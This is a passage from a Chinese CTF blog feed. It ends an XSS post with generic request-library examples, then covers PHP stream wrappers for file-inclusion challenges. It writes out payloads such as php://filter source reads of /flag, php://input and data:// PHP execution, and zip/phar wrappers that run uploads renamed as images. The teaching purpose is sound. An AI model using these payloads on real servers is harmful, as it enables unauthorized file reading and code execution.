class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>发送请求的示例代码：</p><p>javascript</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$.<span class="title function_">ajax</span>(&#123;</span><br><span class="line">  <span class="attr">url</span>: <span class="string">&#x27;YOUR_ENDPOINT_HERE&#x27;</span>,</span><br><span class="line">  <span class="attr">method</span>: <span class="string">&#x27;GET&#x27;</span>, <span class="comment">// 或者 &#x27;POST&#x27;, &#x27;PUT&#x27;, &#x27;DELETE&#x27;, 等。</span></span><br><span class="line">  <span class="attr">success</span>: <span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data);</span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="attr">error</span>: <span class="keyword">function</span>(<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;Request Failed:&#x27;</span>, error);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><ol start="2"><li>Axios</li></ol><p>Axios不是原生支持的，需要引入。你可以通过CDN添加Axios：</p><p>html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>使用Axios发送请求：</p><p>javascript</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">axios.<span class="title function_">get</span>(<span class="string">&#x27;YOUR_ENDPOINT_HERE&#x27;</span>)</span><br><span class="line">  .<span class="title function_">then</span>(<span class="keyword">function</span> (<span class="params">response</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(response.<span class="property">data</span>);</span><br><span class="line">  &#125;)</span><br><span class="line">  .<span class="title function_">catch</span>(<span class="keyword">function</span> (<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;Request Failed:&#x27;</span>, error);</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure><ol start="3"><li>Superagent</li></ol><p>Superagent也需要引入。通过CDN添加Superagent：</p><p>html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;https://cdnjs.cloudflare.com/ajax/libs/superagent/6.1.0/superagent.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>使用Superagent发送请求：</p><p>javascript</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">superagent</span><br><span class="line">  .<span class="title function_">get</span>(<span class="string">&#x27;YOUR_ENDPOINT_HERE&#x27;</span>)</span><br><span class="line">  .<span class="title function_">end</span>(<span class="function">(<span class="params">err, res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) &#123; <span class="keyword">return</span> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;Request Failed:&#x27;</span>, err); &#125;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(res.<span class="property">body</span>);</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure><ol start="4"><li>WebSocket</li></ol><p>WebSocket是HTML5的一部分，不需要额外引入。但WebSocket用于实现双向通信，不同于常规的HTTP请求。以下是一个简单的WebSocket示例：</p><p>javascript</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> socket = <span class="keyword">new</span> <span class="title class_">WebSocket</span>(<span class="string">&#x27;wss://YOUR_WEBSOCKET_ENDPOINT_HERE&#x27;</span>);</span><br><span class="line"></span><br><span class="line">socket.<span class="property">onopen</span> = <span class="keyword">function</span>(<span class="params">event</span>) &#123;</span><br><span class="line">  socket.<span class="title function_">send</span>(<span class="string">&#x27;Hello Server!&#x27;</span>); <span class="comment">// 发送数据到服务器</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">socket.<span class="property">onmessage</span> = <span class="keyword">function</span>(<span class="params">event</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Message from server &#x27;</span>, event.<span class="property">data</span>);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><ol start="5"><li>Fetch API</li></ol><p>Fetch API是现代浏览器原生支持的，不需要引入任何额外的库：</p><p>javascript</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;YOUR_ENDPOINT_HERE&#x27;</span>)</span><br><span class="line">  .<span class="title function_">then</span>(<span class="function"><span class="params">response</span> =&gt;</span> response.<span class="title function_">json</span>()) <span class="comment">// 假设服务器返回的是JSON数据</span></span><br><span class="line">  .<span class="title function_">then</span>(<span class="function"><span class="params">data</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(data))</span><br><span class="line">  .<span class="title function_">catch</span>(<span class="function"><span class="params">error</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;Request Failed:&#x27;</span>, error));</span><br></pre></td></tr></table></figure><p>请替换 <code>&#39;YOUR_ENDPOINT_HERE&#39;</code> 和 <code>&#39;wss://YOUR_WEBSOCKET_ENDPOINT_HERE&#39;</code> 为你实际的请求URL或WebSocket端点。每种方法都有其特定的使用场景和优势，选择合适的根据你的项目需求而定。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;XSS简介&quot;&gt;&lt;a href=&quot;#XSS简介&quot; class=&quot;headerlink&quot; title=&quot;XSS简介&quot;&gt;&lt;/a&gt;XSS简介&lt;/h1&gt;&lt;p&gt;动态站点会受到一种名为“跨站脚本攻击”（Cross Site Scripting，缩写成XSS）的威胁，恶意攻击者会</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-XSS" scheme="https://wells.host/tags/Web-XSS/"/>
    
  </entry>
  
  <entry>
    <title>常见协议与PHP伪协议</title>
    <link href="https://wells.host/posts/b1f1aefc/"/>
    <id>https://wells.host/posts/b1f1aefc/</id>
    <published>2023-11-10T14:47:11.000Z</published>
    <updated>2025-08-05T09:16:33.185Z</updated>
    
    <content type="html"><![CDATA[<h1 id="常见协议与封装协议"><a href="#常见协议与封装协议" class="headerlink" title="常见协议与封装协议"></a><strong>常见协议与封装协议</strong></h1><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span> file:<span class="comment">// — 访问本地文件系统</span></span><br><span class="line"><span class="number">2</span> http:<span class="comment">// — 访问 HTTP(s) 网址</span></span><br><span class="line"><span class="number">3</span> ftp:<span class="comment">// — 访问 FTP(s) URLs</span></span><br><span class="line"><span class="number">4</span> php:<span class="comment">// — 访问各个输入/输出流(I/O streams)</span></span><br><span class="line"><span class="number">5</span> zlib:<span class="comment">// — 压缩流</span></span><br><span class="line"><span class="number">6</span> data:<span class="comment">// — 数据(RFC 2397)</span></span><br><span class="line"><span class="number">7</span> glob:<span class="comment">// — 查找匹配的文件路径模式</span></span><br><span class="line"><span class="number">8</span> phar:<span class="comment">// — PHP 归档</span></span><br><span class="line"><span class="number">9</span> ssh2:<span class="comment">// — Secure Shell 2</span></span><br><span class="line"><span class="number">10</span> rar:<span class="comment">// — RAR</span></span><br><span class="line"><span class="number">11</span> ogg:<span class="comment">// — 音频流</span></span><br><span class="line"><span class="number">12</span> expect:<span class="comment">// — 处理交互式的流</span></span><br></pre></td></tr></table></figure><h2 id="file"><a href="#file" class="headerlink" title="file:&#x2F;&#x2F;"></a>file:&#x2F;&#x2F;</h2><p>访问本地文件系统，若不加协议名称，<strong>默认封装协议</strong>为<code>file://</code>协议</p><p><strong>条件：</strong></p><ul><li>allow_url_fopen:off&#x2F;on</li><li>allow_url_include :off&#x2F;on</li></ul><p><strong>作用：</strong><br>用于访问本地文件系统（服务器中的文件），在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。</p><p><strong>说明：</strong><br><strong>当不说明使用file:&#x2F;&#x2F;协议的时（即默认file:&#x2F;&#x2F;协议的情况）可以使用相对路径，当使用了file协议时无法使用相对路径。</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cmd=file://flag #用法错误，声明file协议时无法使用相对路径</span><br><span class="line">cmd=file:///flag #用法正确，使用绝对路径</span><br><span class="line">cmd=/flag #用法正确，使用绝对路径</span><br><span class="line">cmd=flag #用法正确，使用相对路径</span><br></pre></td></tr></table></figure><p><strong>相对路径</strong></p><p>当指定了一个<strong>相对路径</strong>提供的路径将基于<strong>当前的目录</strong>。在很多情况下是脚本所在的目录。</p><ul><li><p>Windows：不以:&#x2F;&#x2F;indows 盘符开头的路径</p></li><li><p>Linux:不以&#x2F;开头的路径</p></li></ul><p><strong>使用示例</strong>：以传参变量名为cmd演示</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#Linux</span></span><br><span class="line">cmd=file:<span class="comment">///path/to/flag #根目录下path文件夹中to文件夹下flag文件 ——此处有///三条</span></span><br><span class="line">cmd=/path/to/flag <span class="comment">#根目录下path文件夹中to文件夹下flag文件</span></span><br><span class="line">cmd=relative/path/flag <span class="comment">#当前目录下relative文件夹中path文件夹下flag文件</span></span><br><span class="line">cmd=flag <span class="comment">#当前目录下的flag文件</span></span><br><span class="line"><span class="comment">#Windows</span></span><br><span class="line">cmd=file:<span class="comment">//C:/path/to/flag #C盘中path文件夹中to文件夹下flag文件</span></span><br><span class="line">cmd=file:<span class="comment">//C:\path\to\flag #C盘中path文件夹中to文件夹下flag文件</span></span><br><span class="line">cmd=C:\path\to\flag <span class="comment">#C盘中path文件夹中to文件夹下flag文件</span></span><br><span class="line">cmd=flag  <span class="comment">#当前文件夹下flag文件</span></span><br></pre></td></tr></table></figure><h2 id="http"><a href="#http" class="headerlink" title="http:&#x2F;&#x2F;"></a>http:&#x2F;&#x2F;</h2><p> 访问 HTTP(s) 网址</p><p><strong>条件：</strong></p><ul><li>allow_url_fopen:on</li><li>allow_url_include:on</li></ul><p><strong>作用：</strong><br>常规 URL 形式，允许通过 HTTP 1.0 的 GET方法，以只读访问文件或资源。CTF中通常用于<strong>远程包含。</strong></p><p><strong>使用示例</strong>：以传参变量名为cmd演示</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cmd=http:<span class="comment">//example.com/phpinfo.txt#读取http://example.com/phpinfo.txt文件</span></span><br><span class="line">cmd=https:<span class="comment">//example.com/file.php?var1=val1&amp;var2=val2#读取https://example.com/file.php文件并且传入var1和var2的值</span></span><br></pre></td></tr></table></figure><h2 id="php"><a href="#php" class="headerlink" title="php:&#x2F;&#x2F;"></a>php:&#x2F;&#x2F;</h2><p> 访问各个输入&#x2F;输出流(I&#x2F;O streams)，伪协议提供了多种不同的方式来访问和处理数据</p><p><strong>常见的PHP伪协议：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">php://input #这个伪协议用于访问HTTP请求的原始主体数据。它通常用于从POST请求中读取数据。</span><br><span class="line">php://output #这个伪协议用于访问HTTP响应的输出流。它通常用于向客户端发送数据。</span><br><span class="line">php://stdin #用于访问标准输入流。</span><br><span class="line">php://stdout #用于访问标准输出流。</span><br><span class="line">php://stderr #用于访问标准错误输出流。</span><br><span class="line">php://temp #用于临时存储数据的内存流。它可以用于在没有创建实际文件的情况下处理临时数据。</span><br><span class="line">php://memory #用于在内存中创建可读写的数据流。</span><br><span class="line">php://filter #这个伪协议用于数据过滤和转换。它允许您将不同的过滤器应用于数据流，例如Base64编码、压缩和加密等。</span><br><span class="line">php://globals #用于访问全局变量。可以通过此伪协议查看和修改PHP全局变量的值。</span><br><span class="line">php://fd #用于访问文件描述符。它允许您在PHP中访问底层文件系统。</span><br></pre></td></tr></table></figure><p>在CTF中经常使用的是<code>php://filter</code>和<code>php://input</code>、<code>php://filter</code>用于读取源码，<code>php://input</code>用于执行POST参数中的php代码。</p><p><strong>作用：</strong><br>php:&#x2F;&#x2F; 访问各个输入&#x2F;输出流(I&#x2F;O streams)</p><p><strong>条件：</strong></p><ul><li>allow_url_fopen:off&#x2F;on</li><li>allow_url_include :仅<code>php://input</code> 、<code>php://stdin</code>、<code>php://memory</code>、<code>php://temp</code> 需要on</li></ul><h3 id="php-filter"><a href="#php-filter" class="headerlink" title="php:&#x2F;&#x2F;filter"></a><strong>php:&#x2F;&#x2F;filter</strong></h3><p><strong>条件：</strong></p><ul><li>allow_url_fopen:off&#x2F;on</li><li>allow_url_include :off&#x2F;on</li></ul><p><strong>作用：</strong></p><p><code>php://filter</code>可以作为一个位于原始数据流和最终目标之间的中间流来处理其他流，负责对数据进行处理。（即读取或写入数据之前对其进行修改或过滤。）</p><table><thead><tr><th>名称</th><th>描述</th></tr></thead><tbody><tr><td>resource&#x3D;&lt;要过滤的数据流&gt;</td><td>这个参数是必须的。它指定了你要筛选过滤的数据流。（<strong>加绝对路径</strong>）</td></tr><tr><td>read&#x3D;&lt;读链的筛选列表&gt;</td><td>read参数指定 一个或多个过滤器 用于<strong>读</strong>操作，可以设定一个或多个过滤器名称，以管道符分隔。（读取文件后编码输出）</td></tr><tr><td>write&#x3D;&lt;写链的筛选列表&gt;</td><td>write参数指定 一个或多个过滤器 用于<strong>写</strong>操作，可以设定一个或多个过滤器名称，以管道符分隔。（编码重写入文件）</td></tr><tr><td>&lt;；两个链的筛选列表&gt;</td><td>任何没有以 read&#x3D; 或 write&#x3D; 作前缀的筛选器列表<strong>会视情况应用于读或写链</strong>。</td></tr></tbody></table><p>注：</p><ul><li><code>read</code> 和 <code>write</code> 指令是互斥的，不能同时使用。</li><li>如果存在多个过滤器，字符串从左到右的顺序经过过滤器</li></ul><p><code>write</code>指令用于写入文件，对字符串编码后写入</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">/* 将 &quot;Hello World&quot; 进行base64编码然后写入根目录flag.txt文件 */</span></span><br><span class="line"><span class="title function_ invoke__">file_put_contents</span>(<span class="string">&quot;php://filter/write=convert.base64-encode/resource=/flag.txt&quot;</span>,<span class="string">&quot;Hello World&quot;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>常用过滤语句：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cmd=php:<span class="comment">//filter/read=convert.base64-encode/resource=/flag //读取根目录flag文件，进行base64编码</span></span><br></pre></td></tr></table></figure><h4 id="常用过滤器"><a href="#常用过滤器" class="headerlink" title="常用过滤器"></a><strong>常用过滤器</strong></h4><blockquote><p>PHP 版本中的过滤器也许比这里列出的更多（或更少），可用 <code>stream_get_filters()</code>来列出 PHP 中已安装的过滤器。</p><p>以docker的PHP8.3.4为例，自带的过滤器有</p><ul><li>zlib.* </li><li>convert.iconv.*</li><li>string.rot13 </li><li>string.toupper</li><li>string.tolower</li><li>convert.* </li><li>dechunk</li><li>consumed (目前也不知道是啥)</li></ul></blockquote><h5 id="字符串过滤器"><a href="#字符串过滤器" class="headerlink" title="字符串过滤器"></a><strong>字符串过滤器</strong></h5><ul><li><p><code>string.rot13</code>（对字符串执行<code>ROT13</code>编码转换）</p></li><li><p><code>string.toupper</code>（将字符串转化为大写）</p></li><li><p><code>string.tolower</code>（将字符串转化为小写）</p></li><li><p><code>string.strip_tags</code>(自 PHP 7.3.0 起废弃，从字符串中去除 HTML 和 PHP 标记)</p></li></ul><blockquote><p>官方文档：</p><p><a href="https://www.php.net/manual/zh/filters.string.php">PHP: 字符串过滤器 - Manual</a></p></blockquote><h5 id="转换过滤器"><a href="#转换过滤器" class="headerlink" title="转换过滤器"></a><strong>转换过滤器</strong></h5><p>注：转换过滤器是 PHP 5.0.0 添加的</p><ul><li><code>convert.base64-encode</code>和<code> convert.base64-decode</code>（将字符串进行base64编码加解密）</li><li><code>convert.quoted-printable-encode</code> 和 <code>convert.quoted-printable-decode</code>（将字符串进行Quoted-printable编码加解密）<ul><li><a href="https://zhuanlan.zhihu.com/p/235588441">Quoted-Printable 编码 - 知乎 (zhihu.com)</a></li></ul></li><li><code>convert.iconv.*</code>（将字符串进行字符编码转化）</li></ul><blockquote><p>官方文档：</p><p><a href="https://www.php.net/manual/zh/filters.convert.php">PHP: 转换过滤器 - Manual</a></p></blockquote><p><strong>压缩过滤器</strong></p><p>压缩过滤器可以在网络的流中提供通用压缩，将一个非压缩的流转换成一个压缩流。可以在任何时候应用于任何流资源。</p><blockquote><p>官方文档：</p><p><a href="https://www.php.net/manual/zh/filters.compression.php">PHP: 压缩过滤器 - Manual</a></p></blockquote><p><strong>加密过滤器</strong>（已自 PHP 7.1.0 起废弃）</p><p>加密过滤器特别适用于文件&#x2F;数据流的加密。</p><blockquote><p>官方文档：</p><p><a href="https://www.php.net/manual/zh/filters.encryption.php">PHP: 加密过滤器 - Manual</a></p></blockquote><p><strong>dechunk</strong></p><p>将HTTP分块Chunk传输的数据进行解码</p><blockquote><p>HTTP分块Chunk传输：</p><p><a href="https://cloud.tencent.com/developer/article/2399979">告别等待！HTTP分块Chunk传输让客户端响应更迅速数据即时呈现-腾讯云开发者社区-腾讯云 (tencent.com)</a></p></blockquote><p>注：比较特别的是，进行解码的数据流<strong>每行都有后缀</strong><code>CRLF</code>（即<code>\r\n</code>），否则将得到空字符串</p><h3 id="php-input"><a href="#php-input" class="headerlink" title="php:&#x2F;&#x2F;input"></a>php:&#x2F;&#x2F;input</h3><p>主要用来接收post数据。</p><p><strong>条件：</strong></p><ul><li>allow_url_fopen:off&#x2F;on</li><li>allow_url_include :on</li></ul><p><strong>说明：</strong></p><p>CTF中文件包含题目里，可以使用<code>php://input</code>协议，将post请求中的数据作为php代码执行。</p><p><strong>使用示例</strong>：以传参变量名为file演示</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[URL部分]</span><br><span class="line">?file=php:<span class="comment">//input</span></span><br><span class="line">[POST DATA部分]</span><br><span class="line"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">phpinfo</span>(); <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h2 id="zlib"><a href="#zlib" class="headerlink" title="zlib:&#x2F;&#x2F;"></a>zlib:&#x2F;&#x2F;</h2><p> 压缩流</p><p><strong>条件</strong></p><ul><li>allow_url_fopen:off&#x2F;on</li><li>allow_url_include :off&#x2F;on</li></ul><p><strong>作用</strong></p><p>​<code>zip://</code> &amp; <code>bzip2://</code> &amp; <code>zlib://</code> 均属于压缩流，可以访问压缩文件中的子文件，<strong>更重要的是不需要指定后缀名，可修改为任意后缀</strong>：jpg、png、gif等等。</p><p><strong>注</strong>：<code>zlib://</code> 需要是服务器内的压缩包文件、但不局限于后缀名</p><p><strong>示例：</strong></p><p>1、 zip:&#x2F;&#x2F;[压缩文件绝对路径]#[压缩文件内的子文件名]</p><p><strong>注意：</strong><code>#</code>需要URL编码为<code>%23</code>，传入时不要加上<code>[ ]</code></p><p>压缩 phpinfo.txt 为 phpinfo.zip ，压缩包重命名为 phpinfo.jpg ，并上传目录&#x2F;var&#x2F;www&#x2F;html&#x2F;，以file为文件包含的参数为例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?file=zip:///var/www/html/phpinfo.jpg#phpinfo.txt</span><br></pre></td></tr></table></figure><p>2、compress.bzip2:&#x2F;&#x2F;file.bz2<br>压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)，并上传目录&#x2F;var&#x2F;www&#x2F;html&#x2F;，以file为文件包含的参数为例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?file=compress.bzip2:///var/www/html/phpinfo.bz2</span><br></pre></td></tr></table></figure><p>3、compress.zlib:&#x2F;&#x2F;file.gz<br>压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)，并上传目录&#x2F;var&#x2F;www&#x2F;html&#x2F;，以file为文件包含的参数为例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?file=compress.zlib:///var/www/html/phpinfo.gz</span><br></pre></td></tr></table></figure><h2 id="phar"><a href="#phar" class="headerlink" title="phar:&#x2F;&#x2F;"></a>phar:&#x2F;&#x2F;</h2><p>phar:&#x2F;&#x2F;协议与zip:&#x2F;&#x2F;类似，同样可以访问zip格式压缩包内容</p><p>例如,上传压缩包到目录&#x2F;var&#x2F;www&#x2F;html&#x2F;，以file为文件包含的参数为例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?file=phar:///var/www/html/phpinfo.zip/phpinfo.txt</span><br></pre></td></tr></table></figure><h2 id="data"><a href="#data" class="headerlink" title="data:&#x2F;&#x2F;"></a>data:&#x2F;&#x2F;</h2><p><strong>条件</strong></p><ul><li>allow_url_fopen:on</li><li>allow_url_include :on</li></ul><p><strong>作用</strong><br>自PHP&gt;&#x3D;5.2.0起，可以使用data:&#x2F;&#x2F;数据流封装器，以传递相应格式的数据。<strong>通常可以用来执行PHP代码。</strong></p><p><strong>用法</strong></p><ul><li><code>data://text/plain,[加上所需传输的经过url编码数据]</code></li><li><code>data://text/plain;base64,[加上所需传输的经过base64编码再经过url编码的数据]</code></li></ul><p>注意：传入时不要加上<code>[ ]</code></p><p><strong>示例</strong>：</p><ul><li>data:&#x2F;&#x2F;text&#x2F;plain,</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//127.0.0.1/include.php?file=data://text/plain,&lt;?php%20phpinfo();?&gt;</span></span><br></pre></td></tr></table></figure><ul><li>data:&#x2F;&#x2F;text&#x2F;plain;base64,</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b</span></span><br></pre></td></tr></table></figure><h1 id="使用场景"><a href="#使用场景" class="headerlink" title="使用场景"></a><strong>使用场景</strong></h1><p>当遇到文件包含可使用伪协议进行</p><p>可能遇到的文件包含函数：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">include</span><br><span class="line">require</span><br><span class="line">include_once</span><br><span class="line">require_once</span><br><span class="line">highlight_file</span><br><span class="line">show_source</span><br><span class="line">flie</span><br><span class="line">readfile</span><br><span class="line">file_get_contents </span><br><span class="line">file_put_contents</span><br><span class="line">fopen</span><br></pre></td></tr></table></figure><h2 id="include和require函数"><a href="#include和require函数" class="headerlink" title="include和require函数"></a>include和require函数</h2><p>​通过 include 或 require 语句，可以将 <strong>PHP 文件</strong>的内容插入另一个 PHP 文件(<strong>在服务器执行它之前</strong>)。</p><p><code>include</code> 和 <code>require</code> 语句是相同的，<strong>除了错误处理方面</strong>：</p><p><code>require</code> 会生成致命错误(E_COMPILE_ERROR)并停止脚本、<code>include</code> 只生成警告(E_WARNING)，并且脚本会继续</p><p><strong>语法：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">include</span> <span class="string">&#x27;filename&#x27;</span>;</span><br><span class="line"><span class="keyword">require</span> <span class="string">&#x27;filename&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>区别：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">  include &#x27;23333.php&#x27;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>由于23333.php不存在<br>使用include的时候，只会在当前语句报错，然后执行后边的正常语句</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">  <span class="keyword">require</span> <span class="string">&#x27;23333.php&#x27;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>但是使用require的时候，就会直接报错然后跳出函数。</p><h2 id="include-once和require-once函数"><a href="#include-once和require-once函数" class="headerlink" title="include_once和require_once函数"></a>include_once和require_once函数</h2><p>​<code>include_once</code> (<code>require_once</code>)语句在脚本执行期间包含并运行指定文件。此行为和 <code>include (require)</code>语句类似，区别是如果该文件中的代码已经被包含了，则不会再次包含，只会包含一次。include_once(require_once)需要查询一遍已加载的文件列表, 确认是否存在, 然后再加载。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">&#x27;1.php&#x27;</span>;</span><br><span class="line"><span class="keyword">require</span> <span class="string">&#x27;1.php&#x27;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>这种情况下1.php被包含两次。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">&#x27;1.php&#x27;</span>;</span><br><span class="line"><span class="keyword">require_once</span> <span class="string">&#x27;1.php&#x27;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>这种情况下，第二次包含时，是不会进行包含的。</p><h2 id="highlight-file-和show-source"><a href="#highlight-file-和show-source" class="headerlink" title="highlight_file()和show_source()"></a>highlight_file()和show_source()</h2><p>两个函数的用法相同，因为show_source()是highlight_file()的别名</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">show_source</span>(filename,<span class="keyword">return</span>);</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(filename,<span class="keyword">return</span>);</span><br></pre></td></tr></table></figure><p>其中return是可选项</p><table><thead><tr><th>参数</th><th>描述</th></tr></thead><tbody><tr><td>filename</td><td>必需。要进行高亮处理的 PHP 文件的路径。</td></tr><tr><td>return</td><td>可选。如果设置 true，则本函数返回高亮处理的代码，而不是输出它们。</td></tr></tbody></table><p>​<br>​</p><h2 id="readfile和file-get-contents和file"><a href="#readfile和file-get-contents和file" class="headerlink" title="readfile和file_get_contents和file"></a>readfile和file_get_contents和file</h2><p>三者区别：</p><table><thead><tr><th 